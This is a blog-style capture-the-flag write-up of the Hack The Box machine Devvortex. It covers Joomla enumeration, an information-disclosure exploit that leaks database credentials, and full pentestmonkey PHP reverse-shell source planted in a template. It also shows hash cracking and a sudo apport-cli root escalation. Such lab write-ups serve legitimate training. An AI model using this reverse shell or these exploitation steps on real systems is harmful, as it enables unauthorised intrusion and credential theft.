Hack The Box (Devvortex)

Software Sinner
10 min readFeb 7, 2024

I’ve been on the Hack The Box platform for many years now and I will say its one of my favorites for learning Ethical Hacking. The machines keep me interested with how challenging they are along with their point/leaderboard system. I am going to discuss my experience with their machine called “Devvortex”. This machine was pretty easy for me and it also reminded me of a machine on the OSCP 😮. This machine covers enumeration pretty heavy that leads to exploiting Joomla.

Enumeration:

I kicked off autorecon and started digging through the scans hosted on my local web server. I was only presented with two ports to work with, which is awesome and less stressful.

Nmap scan report for 10.10.11.242
Host is up, received user-set (0.077s latency).
Scanned at 2024-02-06 10:16:11 PST for 75s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Aggressive OS guesses: Linux 5.0 (95%), Linux 2.6.32 (95%), Linux 4.15 - 5.8 (95%), Linux 5.3 - 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 5.0 - 5.5 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

I visited the IP in firefox since port 80 was open and was presented with a “server not found” error. Its trying to communicate with a domain that is not mapped. No problem, I added the IP and domain name in my /etc/hosts file.

sudo nano /etc/hosts

I was then able to hit the domain now and see a web page for Devvortex, which is a dynamic web development agency that thrives on transforming ideas into digital realities.

Wandering the website pages, I did not gather anything of interest that could lead to a potential exploit. My next move is to always do a directory search to see if I can discover any exposed webpages, but I have had no luck. Since the website is mapped to a domain, I figured why not give sub-domain brute-force a go?

ffuf -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://devvortex.htb/ -H "Host: FUZZ.devvortex.htb" -fw 5338 | grep --color=auto 200

I headed back to /etc/hosts file and added this subdomain on the same line.

I opened Firefox and visited http://dev.devvortex.htb, and I was presented with yet another page about their services at devvortex. I ran another directory with brute-force, and this time there were a ton of juicy endpoints.

Just because I saw a ton of 302 status messages, it did not stop me from visiting them. The /administrator was my first pick out of all endpoints; this was an admin interface for Joomla.

As any good hacker, we always try admin:admin on the login page, and of course it did not work for me. I had to research a bit about Joomla and found a great hacktricks article on targeting it. I needed a version to work with so I could find potential exploits.

Reading through the article, I learned that there is a great tool for enumerating Joomla named “droopscan.” So I downloaded the tool onto my attack machine and fired it at the target.

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan joomla --url http://dev.devvortex.htb/

Exploitation:

The version I gathered was 4.2.6, so I googled “Joomla 4.2.6 github exploit” and found this working exploit.

http://dev.devvortex.htb/administrator/manifests/files/joomla.xml

Let me give you a little breakdown of that this ruby code is doing:

  • Shebang Line: The script starts with a shebang line (#!/usr/bin/env ruby), indicating that it should be executed using the Ruby interpreter.
  • Exploit Information: The code includes comments that provide details about the exploit, such as its title, author, CVE identifier, and references to relevant websites and sources related to the vulnerability.
  • Required Libraries: The script requires several Ruby libraries, including json, httpx, docopt, and paint, which are used for various purposes, such as handling JSON data, making HTTP requests, parsing command-line arguments, and displaying colored output.
  • Docopt Usage and Options: The script defines a docopt usage section, which describes how to use the script and its command-line options. It specifies the required argument <url> and optional options like — debug, — no-color, and -h or — help.
  • Functions: The script defines several functions to perform specific tasks:

fetch_users, parse_users, and display_users: These functions fetch and display information about Joomla! users from a given URL.
fetch_config, parse_config, and display_config: These functions fetch and display configuration information about the Joomla! site.
Main Execution Block: In the main part of the script, it:

  • Parses command-line arguments using docopt.
    Sets the display mode for colored output based on the — no-color option.
    Calls the functions to retrieve and display user and configuration information from the Joomla! site specified in the command-line argument.
  • Error Handling: The script includes basic error handling using begin and rescue blocks to catch and display any Docopt::Exit exceptions.

In summary, this Ruby script is designed to exploit a specific vulnerability in Joomla! (< 4.2.8) that allows unauthenticated users to disclose information about Joomla! users and site configuration. It retrieves and displays this information from the specified Joomla! site URL. It also provides command-line options for customization and error handling.

gem install httpx docopt paint
ruby exploit.rb http://dev.devvortex.htb

The exploit puked out the user Lewis along with his password ;).

DB user: lewis
DB password: P4ntherg0t1n5r3c0n##

I tried ssh with the creds and no luck so I moved on to the joomla admin interface on the web and was able to login as lewis.

I googled authenticated attacks. I can perform on Jommla to get a shell, and reading back at the hacktricks article, you can target the templates to get a PHP reverse shell.

Using the pentestmonkey’s shell, I had to edit the code and add my IP address where it says “CHANGE THIS”.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

I edited the following template in error.php:

Set up a netcat listener on my attack machine:

nc -lvp 1234

Visited the following URL and got my shell!

http://dev.devvortex.htb/templates/cassiopeia/error.php

Upgraded my shell:

/usr/bin/script -qc /bin/bash /dev/null

I pushed linpeas onto the machine and noticed that SQL was listening on an open port. Remembering back at the ruby exploit I ran this technically dumped lewis’s DB creds for SQL so why not try to connect to the DB…

mysql -ulewis -pP4ntherg0t1n5r3c0n##
use joomla
SELECT * FROM sd4fg_users;

and we get a hash for another user on the machine named Logan.

My next move was to identify what type of hash I was working with before cracking it.

Copied the hash into this website and got back that it was bcrypt blowfish.

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

Threw the hash into a text file with vim and ran john against it.

john logan_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
username: logan
password: tequieromucho

I went ahead and sshd to Logan’s machine with the newly acquired credentials.

sudo ssh -oHostKeyAlgorithms=+ssh-dss logan@10.10.11.242

Of course, the first thing I do is run sudo -l and we see that Logan can run the following command as root:

I did some googling on this tool and found out how to exploit it with the following steps:


sudo /usr/bin/apport-cli --file-bug
Pick option 1 hit enter
Pick option 2 hit enter
Press any key to continue
Pick option V and then type !/bin/bash where the semicolon is.

Got Root baby!

SoftwareSinner

--

--